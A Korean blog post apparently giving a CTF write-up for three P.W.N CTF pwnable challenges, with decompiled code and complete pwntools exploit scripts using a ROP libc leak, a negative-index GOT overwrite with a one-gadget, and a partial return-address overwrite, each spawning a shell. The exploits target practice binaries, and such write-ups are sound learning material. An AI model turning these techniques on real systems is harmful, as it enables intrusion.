티스토리 뷰

Pwnable/write up

P.W.N ctf write up

xxvd 2018. 11. 4. 15:08

babypwn


1
2
3
4
5
6
_int64 copy()
{
  char v1; // [rsp+0h] [rbp-80h]
 
  return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1);
}

cs


여기서 overflow가 일어나고 Nx와 full relro가 걸려있다.

rop 하면 된다 그냥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
#context.log_level = 'debug'
 
#p = remote('baby.uni.hctf.fun',25251) 
= process('./babypwn')
= ELF('./babypwn')
 
main = 0x401169
prdiret = 0x401203
 
payload = "A"*136
payload +=p64(prdiret)
payload +=p64(e.got['puts'])
payload +=p64(e.plt['puts'])
payload +=p64(main)
 
p.sendlineafter("/bin/sh\n",payload)
 
puts = u64(p.recv(6)+"\x00"*2)
#libc_base = puts - 0x72a40  #in remote
libc_base = puts - 0x6f690 # in local
system = libc_base + 0x45390
cmd = libc_base + 0x18cd57
 
 
print hex(puts) 
print hex(libc_base)
 
payload1 = "A"*136
payload1 += p64(prdiret)
payload1 += p64(cmd)
payload1 += p64(system)
 
p.sendlineafter("/bin/sh\n",payload1)
 
p.interactive()

cs


리모트 접속이 안돼서 그냥 로컬쉘 땄다.




Kindergarten pwn


1
2
3
4
5
6
7
8
9
10
11
printf("give me an index:\n> ", v3);
    if ( (unsigned int)__isoc99_scanf("%d"&v5) != 1 )
      break;
    v3 = (char *)v5;
    if ( (signed int)v5 <= 31 )
    {
      printf("the value at %d is %hhd. give me a new value:\n> ", v5, (unsigned int)array[v5]);
      v3 = &v4;
      if ( (unsigned int)__isoc99_scanf("%hhd"&v4) != 1 )
        break;
      array[v5] = v4;
cs




index를 입력받고, 그 index의 value를 출력, 수정할 수 있다. 근데 저기 index 검사하는 부분을 보면 음수 검사를 하지 않는다.

그리고 array가 bss에 있으니 array 밑에 위치하는 주소가 어디 있는지 보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
t:0000000000004000
.got.plt:0000000000004000 ; Segment type: Pure data
.got.plt:0000000000004000 ; Segment permissions: Read/Write
.got.plt:0000000000004000 ; Segment alignment 'qword' can not be represented in assembly
.got.plt:0000000000004000 _got_plt        segment para public 'DATA' use64
.got.plt:0000000000004000                 assume cs:_got_plt
.got.plt:0000000000004000                 ;org 4000h
.got.plt:0000000000004000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000004008 qword_4008      dq 0                    ; DATA XREF: sub_1020↑r
.got.plt:0000000000004010 qword_4010      dq 0                    ; DATA XREF: sub_1020+6↑r
.got.plt:0000000000004018 off_4018        dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000004020 off_4020        dq offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0000000000004028 off_4028        dq offset __isoc99_scanf
.got.plt:0000000000004028                                         ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000004030 off_4030        dq offset exit          ; DATA XREF: _exit↑r
.got.plt:0000000000004030 _got_plt        ends
.got.plt:0000000000004030
cs


array가 0x4080에 있고 got영역은 0x4000에 있으니 libc릭과 overwrite 둘 다 가능하다는 말이고

마지막에 exit(1) 해주니간 exit got를 원샷으로 덮었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import *
= process('./kindergarten')
 
e  = ELF('./kindergarten')
 
start_addr = 0x4080
def leak(addr, new_byte="\x00"*8):
    index = addr - start_addr #-0x60
    data = ""
    lbyte = map(ord, new_byte)
    for i in range(8):
        p.sendlineafter("> "str(index))
        p.recvuntil("is ")
        data += chr(c_ubyte(int(p.recvuntil(".", drop=True))).value)
        p.sendlineafter("> "str(lbyte[i]))
    print hex(u64(new_byte))
        index += 1
    return data
libc_base = u64(leak(0x4020)) - 0x6fe70
 
print "libc_base :"+hex(libc_base)
oneshot = libc_base + 0x4526a
 
leak(0x4030, p64(oneshot))
 
p.interactive()    
    
 
 
cs



Important Service

1
2
3
4
5
6
7
8
9
10
11
12
puts("Please enter width and height e.g.: 5 8");
  if ( __isoc99_fscanf(stdin, "%d %d"&width, &height) == 2 )
  {
    if ( width * height <= 1024 )
    {
      puts("Please provide some data e.g.: 12345");
      while ( fgetc(stdin) != 10 )
        ;
      fread(&ptr, 1uLL, width, stdin);
      v5(&ptr, width, height);
      result = 0;
    }
cs




width와 height 입력받고 ptr에 width의 크기만큼 입력을 받는다. char ptr[1024] 이므로

bof가 날 수 있다. 



1
2
3
4
int givemeshellpls()
{
  return system("/bin/sh");
}
cs

그리고 givemeshellpls 라는 함수도 있다.


bof를 트리거해서 givemeshellpls 함수쪽으로 rip를 돌릴 수 없나 싶었는데 

v5를 실행하는 주소를 보니 0x11bc 이고 givemeshellpls 함수의 주소는 0x11a9였다.(정확히 말하면 binary base + 0x11bc, binary base + 0x11a9)

그러면 fread로 rip 마지막 바이트를 바꿔서 v5가 아닌 givemeshellpls 쪽으로 돌리면 되겠다 싶었다.


1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= process('./importantservice')
 
p.sendlineafter("5 8\n","1025 0")
 
p.sendlineafter("12345\n","A"*1024+"\xA9")
 
p.interactive()
 
cs



Slottier machine


요건 잘 모르겟다 담에 한번 풀어봐야할듯


Exploitation Class



'Pwnable > write up' 카테고리의 다른 글

CSAW 2013 miteegashun(400)  (0) 2018.11.19
P.W.N ctf exploitClass  (0) 2018.11.18
[PlaidCTF 2014] kappa  (0) 2018.09.26
[DEFCON 2015] r0pbaby  (0) 2018.09.16
[Sunrin Internel CTF] cee  (0) 2018.09.16
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함